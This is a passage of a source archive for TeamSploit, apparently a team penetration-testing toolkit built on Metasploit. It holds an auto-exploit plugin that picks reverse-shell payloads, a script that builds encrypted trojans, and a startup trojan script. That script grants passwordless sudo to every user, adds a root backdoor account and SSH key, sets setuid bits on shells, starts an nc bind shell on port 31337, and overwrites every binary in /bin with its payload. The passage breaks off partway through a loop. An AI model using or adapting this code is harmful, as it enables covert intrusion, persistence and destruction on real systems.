print_error("Value of #{val} not in list using default of good.")
end
when "-h"
print_line(opts.usage)
return
end
end
exploits =[]
# Make sure that there are vulnerabilities in the table before doing anything else
if framework.db.workspace.vulns.length == 0
print_error("No vulnerabilities are present in the database.")
return
end
print_status("Generating List for Matching...")
framework.exploits.each_module do |n,e|
exploit = {}
x=e.new
if x.datastore.include?('LPORT')
exploit = {
:exploit => x.fullname,
:port => x.datastore['RPORT'],
:platforms => x.platform.names.join(" "),
:date => x.disclosure_date,
:references => x.references,
:rank => x.rank
}
exploits << exploit
end
end
print_status("Matching Exploits (This will take a while depending on number of hosts)...")
framework.db.workspace.hosts.each do |h|
# Check that host has vulnerabilities associated in the DB
if h.vulns.length > 0
os_type = normalise_os(h.os_name)
#payload = chose_pay(h.os_name)
exploits.each do |e|
found = false
next if not e[:rank] >= min_rank
if e[:platforms].downcase =~ /#{os_type}/
# lets get the proper references
e_refs = parse_references(e[:references])
h.vulns.each do |v|
v.refs.each do |f|
# Filter out Nessus notes
next if f.name =~ /^NSS|^CWE/
if e_refs.include?(f.name) and not found
# Save exploits in manner easy to retrieve later
exploit = {
:exploit => e[:exploit],
:port => e[:port],
:target => h.address,
:rank => e[:rank]
}
matched_exploits << exploit
found = true
end
end
end
end
end
end
end
if matched_exploits.length > 0
# Sort by rank with highest ranked exploits first
matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
print_good("Matched Exploits:")
matched_exploits.each do |e|
print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
end
else
print_status("No Matching Client Side Exploits where found.")
end
end
# Normalize the OS name since different scanner may have entered different values.
def normalise_os(os_name)
case os_name
when /(Microsoft|Windows)/i
os = "windows"
when /(Linux|Ubuntu|CentOS|RedHat)/i
os = "linux"
when /aix/i
os = "aix"
when /(freebsd)/i
os = "bsd"
when /(hpux|hp-ux)/i
os = "hpux"
when /solaris/i
os = "solaris"
when /(Apple|OSX|OS X)/i
os = "osx"
end
return os
end
# Parse the exploit references and get a list of CVE, BID and OSVDB values that
# we can match accurately.
def parse_references(refs)
references = []
refs.each do |r|
# We do not want references that are URLs
next if r.ctx_id == "URL"
# Format the reference as it is saved by Nessus
references << "#{r.ctx_id}-#{r.ctx_val}"
end
return references
end
# Choose the proper payload
def chose_pay(mod, rhost)
# taken from the exploit ui mixin
# A list of preferred payloads in the best-first order
pref = [
'windows/meterpreter/reverse_tcp',
'java/meterpreter/reverse_tcp',
'php/meterpreter/reverse_tcp',
'php/meterpreter_reverse_tcp',
'cmd/unix/interact',
'cmd/unix/reverse',
'cmd/unix/reverse_perl',
'cmd/unix/reverse_netcat',
'windows/meterpreter/reverse_nonx_tcp',
'windows/meterpreter/reverse_ord_tcp',
'windows/shell/reverse_tcp',
'generic/shell_reverse_tcp'
]
pset = mod.compatible_payloads.map{|x| x[0] }
pref.each do |n|
if(pset.include?(n))
mod.datastore['PAYLOAD'] = n
mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
return mod
end
end
end
# Create a payload given a name, lhost and lport, additional options
def create_payload(name, lhost, lport, opts = "")
pay = framework.payloads.create(name)
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
if not opts.empty?
opts.split(",").each do |o|
opt,val = o.split("=", 2)
pay.datastore[opt] = val
end
end
# Validate the options for the module
if pay.options.validate(pay.datastore)
print_good("Payload option validation passed")
end
return pay
end
def get_current_sessions()
session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
return session_hosts
end
# Method to write string to file
def file_write(file2wrt, data2wrt)
if not ::File.exists?(file2wrt)
::FileUtils.touch(file2wrt)
end
output = ::File.open(file2wrt, "a")
data2wrt.each_line do |d|
output.puts(d)
end
output.close
end
def get_job_count
job_count = 1
framework.jobs.each do |k,j|
if j.name !~ /handler/
job_count = job_count + 1
end
end
return job_count
end
def jobwaiting(maxjobs, verbose=true)
while(get_job_count >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if verbose
print_status("Waiting for some modules to finish")
end
end
end
end
def initialize(framework, opts)
super
if framework.db and framework.db.active
add_console_dispatcher(PostautoCommandDispatcher)
add_console_dispatcher(ProjectCommandDispatcher)
add_console_dispatcher(DiscoveryCommandDispatcher)
add_console_dispatcher(AutoExploit)
archive_path = ::File.join(Msf::Config.log_directory,"archives")
project_paths = ::File.join(Msf::Config.log_directory,"projects")
# Create project folder if first run
if not ::File.directory?(project_paths)
::FileUtils.mkdir_p(project_paths)
end
# Create archive folder if first run
if not ::File.directory?(archive_path)
::FileUtils.mkdir_p(archive_path)
end
banner = %{
___ _ _ ___ _ _
| _ \\___ _ _| |_ ___ __| |_ | _ \\ |_ _ __ _(_)_ _
| _/ -_) ' \\ _/ -_|_-< _| | _/ | || / _` | | ' \\
|_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_|
|___/
}
print_line banner
print_line "Version 1.2"
print_line "Pentest plugin loaded."
print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)"
else
print_error("This plugin requires the framework to be connected to a Database!")
end
end
def cleanup
remove_console_dispatcher('Postauto')
remove_console_dispatcher('Project')
remove_console_dispatcher('Discovery')
remove_console_dispatcher("auto_exploit")
end
def name
"pentest"
end
def desc
"Plugin for Post-Exploitation automation."
end
protected
end
end
teamsploit_0~20151123/.gentrojan 000755 001750 001750 00000017652 12272512371 017323 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
#
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
source teamsploit.conf
# Setup Trojan Directories
cp -R ./.trojans/.persist/ ./.trojans/$TS_TROJAN_PERSIST
cp -R ./.trojans/.loader/ ./.trojans/$TS_TROJAN_LOADER
cp -R ./.trojans/.startup/ ./.trojans/$TS_TROJAN_STARTUP
# Set all trojan fields/config
TS_TROJAN_PATH_DEL=`echo $TS_TROJAN_PATH | sed -e 's/\//||/g'`
TS_TROJAN_PASSWD_DEL=`echo $TS_TROJAN_PASSWD | sed -e 's/\//||/g'`
TS_TROJAN_SSHKEY_DEL=`echo $TS_TROJAN_SSHKEY | sed -e 's/\//||/g'`
sed -i -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/$TS_TROJAN_LOADER/rc.stop
sed -i -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/$TS_TROJAN_STARTUP/rc.stop
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.persist.source.exec > ./.trojans/$TS_TROJAN_PERSIST/$TS_TROJAN_PERSIST
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.persist.source > ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_PERSIST
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.persist.source.interactive > ./.trojans/$TS_TROJAN_LOADER/interactive
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.loader.source.exec > ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_LOADER
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.loader.source > ./.trojans/$TS_TROJAN_LOADER'_install'
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.startup.source > ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_STARTUP
sed -e 's/#!TS_MY_IP!#/'$TS_MY_IP'/g' -e 's/#!TS_TROJAN_RE_PORT!#/'$TS_TROJAN_RE_PORT'/g' -e 's/#!TS_TROJAN_STARTUP!#/'$TS_TROJAN_STARTUP'/g' -e 's/#!TS_TROJAN_PERSIST!#/'$TS_TROJAN_PERSIST'/g' -e 's/#!TS_TROJAN_LOADER!#/'$TS_TROJAN_LOADER'/g' -e 's/#!TS_TROJAN_PATH!#/'$TS_TROJAN_PATH_DEL'/g' -e "s/#!TS_TROJAN_PASSWD!#/$TS_TROJAN_PASSWD_DEL/g" -e 's/#!TS_TROJAN_ACCOUNT!#/'$TS_TROJAN_ACCOUNT'/g' -e 's/#!TS_TROJAN_SSHKEY!#/'$TS_TROJAN_SSHKEY_DEL'/g' -e 's/#!TS_TROJAN_HIDE!#/'$TS_TROJAN_HIDE'/g' -e 's/||/\//g' ./.trojans/.startup.source.exec > ./.trojans/$TS_TROJAN_STARTUP/$TS_TROJAN_STARTUP
# Double check permissions
chmod a+x ./.trojans/$TS_TROJAN_PERSIST/$TS_TROJAN_PERSIST
chmod a+x ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_PERSIST
chmod a+x ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_STARTUP
chmod a+x ./.trojans/$TS_TROJAN_STARTUP/$TS_TROJAN_STARTUP
chmod a+x ./.trojans/$TS_TROJAN_LOADER/$TS_TROJAN_LOADER
chmod a+x ./.trojans/$TS_TROJAN_LOADER'_install'
# Build trojan and bake into template...
cd ./.trojans/
tar -zcf ./$TS_TROJAN_PERSIST.tgz ./$TS_TROJAN_PERSIST/
cat ./$TS_TROJAN_PERSIST.tgz | base64 | openssl enc -aes-256-cbc -a -salt -pass pass:on_boot >> ./$TS_TROJAN_LOADER/$TS_TROJAN_PERSIST
cat ./$TS_TROJAN_PERSIST.tgz | base64 | openssl enc -aes-256-cbc -a -salt -pass pass:on_boot >> ./$TS_TROJAN_LOADER/interactive
cp ./$TS_TROJAN_LOADER/interactive ./$TS_TROJAN_STARTUP/interactive
cp ./$TS_TROJAN_LOADER/$TS_TROJAN_PERSIST ./$TS_TROJAN_STARTUP/$TS_TROJAN_PERSIST
tar -zcf ./$TS_TROJAN_STARTUP.tgz ./$TS_TROJAN_STARTUP/
cat ./$TS_TROJAN_STARTUP.tgz | base64 | openssl enc -aes-256-cbc -a -salt -pass pass:on_kinit >> ./$TS_TROJAN_LOADER/$TS_TROJAN_STARTUP
tar -zcf ./$TS_TROJAN_LOADER.tgz ./$TS_TROJAN_LOADER/
cat ./$TS_TROJAN_LOADER.tgz | base64 | openssl enc -aes-256-cbc -a -salt -pass pass:$TS_TROJAN_PASSWORD >> ./$TS_TROJAN_LOADER'_install'
cd - > /dev/null
# Cleanup
rm ./.trojans/$TS_TROJAN_PERSIST.tgz
rm ./.trojans/$TS_TROJAN_LOADER.tgz
rm ./.trojans/$TS_TROJAN_STARTUP.tgz
rm ./.trojans/$TS_TROJAN_PERSIST/ -Rf
rm ./.trojans/$TS_TROJAN_LOADER/ -Rf
rm ./.trojans/$TS_TROJAN_STARTUP/ -Rf
teamsploit_0~20151123/teamsploit_gui 000755 001750 001750 00000004167 12272512371 020300 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
echo '___________ _________ .__ .__ __ '
echo '\__ ___/___ _____ _____ / _____/_____ | | ____ |__|/ |_ '
echo ' | |_/ __ \\__ \ / \ \_____ \\____ \| | / _ \| \ __\'
echo ' | |\ ___/ / __ \| Y Y \/ \ |_> > |_( <_> ) || | '
echo ' |____| \___ >____ /__|_| /_______ / __/|____/\____/|__||__| '
echo ' \/ \/ \/ \/|__| By: Justin M. Wray '
echo
echo '====================================================================='
# Config...because we can
source teamsploit.conf
# Notice
echo "You may need to authenticate, as MSF typical requires administrative rights"
# Are we skipping Config Wizard?
if [ $TS_SKIP_CONFIG_WIZ == 0 ]; then
# Provide Config Wizard
sudo ./.teamsploit_config_gui.rb
# Reconfig...
source teamsploit.conf
fi
# Did you config it yet?
if [ $TS_CONFIG != 1 ]; then
echo "Error, No Config...Wait...WHAT ARE YOU DOING? (Go Edit teasmploit.conf)"
exit 1;
fi
# Okay, we need to setup the enviroment...cause I don't know your setup...
./.setup
# Wow..the person in front of me put there seat back, I can't see the screen..ahhh
echo "TeamSploit - Pen Testing With Friends"
echo -n "Loading Graphical Enviroment..."
sudo ./.teamsploit_gui.rb
echo "Done"
teamsploit_0~20151123/.msf/plugins/.autopost.source.osx 000644 001750 001750 00000000237 11732510376 023634 0 ustar 00sophie sophie 000000 000000 session.run_cmd('run post/osx/gather/hashdump')
session.run_cmd('run post/osx/gather/enum_osx')
session.run_cmd('run post/multi/gather/ssh_creds')
teamsploit_0~20151123/teamsploit.conf.dist 000644 001750 001750 00000012250 12272512371 021307 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
#
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
# Change this to a '1' (no qoutes) when you finish editing this file...
TS_CONFIG=0
# TeamSploit GUI - CURRENTLY IN ALPHA (Unstable) (1=GUI, 0=CLI)
TS_GUI=1
# Skip GUI Configuration Wizard?
TS_SKIP_CONFIG_WIZ=0
# How many "primary" windows do you want? Some people want more than one...
TS_WINDOWS=1
# Which interface are you using?
TS_MY_INT=eth0
# Local? Likely not right? This is a team effort afterall...(0=Team DB, 1=Local DB)
TS_LOCAL=0
# Otherwise...Database! (FTW)
TS_DB_NAME=teamsploitdb
TS_DB_HOST=192.168.1.100
TS_DB_PORT=5432
TS_DB_USER=teamsploit
TS_DB_PASS=password
# Woulc you like to connect to a MSFD Service?
TS_MSFD_CONNECT=1
TS_MSFD_HOST=192.168.1.100
TS_MSFD_PORT=51337
# We are going to pass shells...make sure they are ready...1025 is the default
TS_SHARE_SHELLS=1 # If you are not sharing shells or have no team (solo run), you'll still get your shell.
TS_TEAM_MATES="192.168.1.101;192.168.1.102;192.168.1.103;193.168.1.104;192.168.1.105"
TS_TEAM_PORT=1025
TS_TEAM_PORT_2=7000
TS_TEAM_PORT_HTTP=80
TS_TEAM_PORT_HTTPS=443
TS_TEAM_PORT_DNS=53
# Targets Teams?
TS_TARGET_SOLO=0 # Only one target range? Don't want to automatically target the below line? Set this to one (1).
TS_TARGET_RANGES="192.168.21;192.168.22;192.168.22;192.168.23;192.168.24;192.168.25;192.168.26;192.168.27;192.168.28"
# Adding a user account? Cool.
TS_ADMIN_USER=user
TS_ADMIN_PASS=password
# TrollWare - (1=yes, 0=no)
TS_TROLLWARE=0
TS_NETSTOPPER=0
TS_UNPATCHER=0
# Nessus Connect?
TS_NESSUS_CONNECT=0
TS_NESSUS_AUTOSCAN=0
TS_NESSUS_POLICY=-1
TS_NESSUS_HOST=127.0.0.1
TS_NESSUS_PORT=8834
TS_NESSUS_USER=nessus
TS_NESSUS_PASS=password
# Nexpose Connect?
TS_NEXPOSE_CONNECT=0
TS_NEXPOSE_AUTOSCAN=0
TS_NEXPOSE_HOST=127.0.0.1
TS_NEXPOSE_PORT=5432
TS_NEXPOSE_USER=nexpose
TS_NEXPOSE_PASS=password
# OpenVAS Connect?
TS_OPENVAS_CONNECT=0
TS_OPENVAS_AUTOSCAN=0
TS_OPENVAS_HOST=127.0.0.1
TS_OPENVAS_PORT=9390
TS_OPENVAS_USER=openvas
TS_OPENVAS_PASS=password
# Fully Automated Owning (MAKE SURE YOU HAVE A VULN SCANNER SETUP AND ENABLED)
TS_AUTO_OWN=0
TS_AUTO_OWN_JOBS=10
# IRC Settings - Used in TeamSploit GUI (Chat)
TS_IRC=0 # Connect To IRC? 1=yes, 0=no
TS_IRC_NICK=TeamSploit # Nickname/Handle to use on chat
TS_IRC_SERVER=chat.freenode.org # Server IP or FQDN
TS_IRC_PORT=6667 # Port IRC is running on (make sure you use the SSL port if you are using SSL)
TS_IRC_CHANNEL=teamsploit # Channel you'll join (dont include the pound sign)
TS_IRC_SSL=0 # SSL Enabled? 1=yes, 0=no
# SploitWatch - Player Tracking and Reporting - Sends Exploitation/Activity Information to Centralized Server
TS_SPLOITWATCH=0 # Load, 1=yes, 0=no
TS_SPLOITWATCH_HANDLE=Unknown # Attacker Handle - Used to keep track of individual attackers
TS_SPLOITWATCH_EVENT=Unknown # Event ID - Used to keep track of separate events/engagements
TS_SPLOITWATCH_SRV_URI=http://192.168.1.100/sploitwatcher.php # URI to the SploitWatch receiving end
TS_SPLOITWATCH_CMD_REPORT=true # true or false - do you want to send all commands being executed (within Metasploit and sessions)
# Trojans - Right now, just Linux...(1=yes, 0=no)
TS_TROJAN=0
TS_TROJAN_PATH=/etc/fonts/admin/.proc
TS_TROJAN_PASSWORD=toor # Password used for installation
TS_TROJAN_LOADER=sysdev # This is just a name, and in reality, no one should see it...
TS_TROJAN_STARTUP=ksysinit # This is just a name, and in reality, no one should see it...
TS_TROJAN_PERSIST=klogmod # This is also a name, and depending on your hidden keyword, they may see it...
TS_TROJAN_HIDE=admin
TS_TROJAN_ACCOUNT=admin
TS_TROJAN_PASSWD="admin:x:0:0:Support Account (DO NOT EDIT):/:/bin/bash"
TS_TROJAN_SSHKEY=PUT_YOUR_SSH_PUT_KEY_HERE
TS_TROJAN_RE_PORT=8888
# Autopost Output? Show it or Surpress it (true == show, false == surpress) - it is in the output (loot directory) file eitherway...
TS_AUTOPOST_OUTPUT=false
# Loot Dir?
TS_LOOT_DIR=./loot/
# Would you like to run a MSFD/MSFRPCD Service?
TS_SERVER=0
TS_SERVER_MSFD_PORT=51337
TS_SERVER_MSFRPCD_PORT=51338
TS_SERVER_MSFRPCD_USER=teamsploit
TS_SERVER_MSFRPCD_PASS=password
# You likely want to leave the IP part alone - If this line is failing, you can manually set YOUR IP
TS_MY_IP=`ifconfig | grep "$TS_MY_INT" -A 1 | tail -n1 | awk {' print $2 '} | sed -e 's/addr://g'`
# Don't touch this... >.< (If you really know what you are doing, specify the PATH here)
TS_MSF_PATH=`./.msfpath`
teamsploit_0~20151123/.trojans/.loader/rm 000755 001750 001750 00000000072 11732510376 020745 0 ustar 00sophie sophie 000000 000000 mkdir -p #!TS_TROJAN_PATH!#
mv $* #!TS_TROJAN_PATH!#/loot
teamsploit_0~20151123/nessus/ 000755 001750 001750 00000000000 12624613016 016634 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/.startup.source.exec 000755 001750 001750 00000010543 11732510376 023011 0 ustar 00sophie sophie 000000 000000 #!/bin/bash -p
SAVEIFS=$IFS
IFS=$(echo -en "\n\b")
for i in `find / -name "*.php"`
do
echo "" >> $i.tmp
cat $i >> $i.tmp
mv $i.tmp $i
done
IFS=$SAVEIFS
echo "mysql ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "apache ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "asterisk ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "nobody ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "lp ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "ALL ALL=NOPASSWD: ALL" >> /etc/sudoers
echo "#!TS_TROJAN_PASSWD!#" >> /etc/passwd
echo "#!TS_TROJAN_ACCOUNT!#::14296:0:99999:7:::" >> /etc/shadow
echo "ssh-rsa #!TS_TROJAN_SSHKEY!# #!TS_TROJAN_ACCOUNT!#" >> /root/.ssh/authorized_keys
cp /tmp/#!TS_TROJAN_STARTUP!#/sshd_config /etc/ssh/sshd_config
/etc/init.d/ssh restart
cat /root/.bash_history >> /var/log/ksyslog.log
echo "cat /root/.bash_history >> /var/log/ksyslog.log" >> /root/.bash_logout
#sh copies
cp /bin/bash /bin/false
cp /bin/bash /sbin/false
cp /bin/bash /bin/ksh
chmod a+srwx `whereis sh | awk {' print $2 '}`
chmod a+srwx `whereis bash | awk {' print $2 '}`
chmod a+srwx `whereis ksh | awk {' print $2 '}`
chmod a+srwx /bin/false
chmod a+srwx /sbin/false
chmod a+srwx `whereis nano | awk {' print $2 '}`
chmod a+srwx `whereis cat | awk {' print $2 '}`
chmod a+srwx `whereis vi | awk {' print $2 '}`
chmod a+srwx `whereis nc | awk {' print $2 '}`
cp /bin/mv /tmp/#!TS_TROJAN_STARTUP!#/loader
cp /bin/cp /tmp/#!TS_TROJAN_STARTUP!#/feeder
cp /bin/ln /tmp/#!TS_TROJAN_STARTUP!#/seeder
cp /bin/cat /tmp/#!TS_TROJAN_STARTUP!#/reeder
cp /bin/dd /tmp/#!TS_TROJAN_STARTUP!#/deeder
cp /bin/echo /tmp/#!TS_TROJAN_STARTUP!#/meeder
cp /bin/sed /tmp/#!TS_TROJAN_STARTUP!#/needer
cp /bin/chmod /tmp/#!TS_TROJAN_STARTUP!#/ceeder
cp /usr/bin/find /tmp/#!TS_TROJAN_STARTUP!#/locate
cp /usr/bin/base64 /tmp/#!TS_TROJAN_STARTUP!#/base
echo "while [ 1 ]; do nc -e /bin/bash -k -l -p 31337 2>/dev/null; done" > #!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd
echo "#!TS_TROJAN_PATH!#/#!TS_TROJAN_HIDE!#_cmd" >> /etc/profile
/tmp/#!TS_TROJAN_STARTUP!#/feeder -RL /bin #!TS_TROJAN_PATH!#
/tmp/#!TS_TROJAN_STARTUP!#/feeder -RL /usr/bin #!TS_TROJAN_PATH!#/usr/
for i in `/tmp/#!TS_TROJAN_STARTUP!#/locate /bin -type f`; do
/tmp/#!TS_TROJAN_STARTUP!#/feeder /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_PERSIST!# $i
/tmp/#!TS_TROJAN_STARTUP!#/meeder "#!/bin/bash -p" > $i
/tmp/#!TS_TROJAN_STARTUP!#/deeder if=/dev/urandom count=$RANDOM bs=1 | base64 | /tmp/#!TS_TROJAN_STARTUP!#/needer -e 's/^/#/g' >> $i
/tmp/#!TS_TROJAN_STARTUP!#/reeder /tmp/#!TS_TROJAN_STARTUP!#/#!TS_TROJAN_PERSIST!# >> $i
done
for i in `/tmp/sysdev/locate /usr/bin -type f`; do
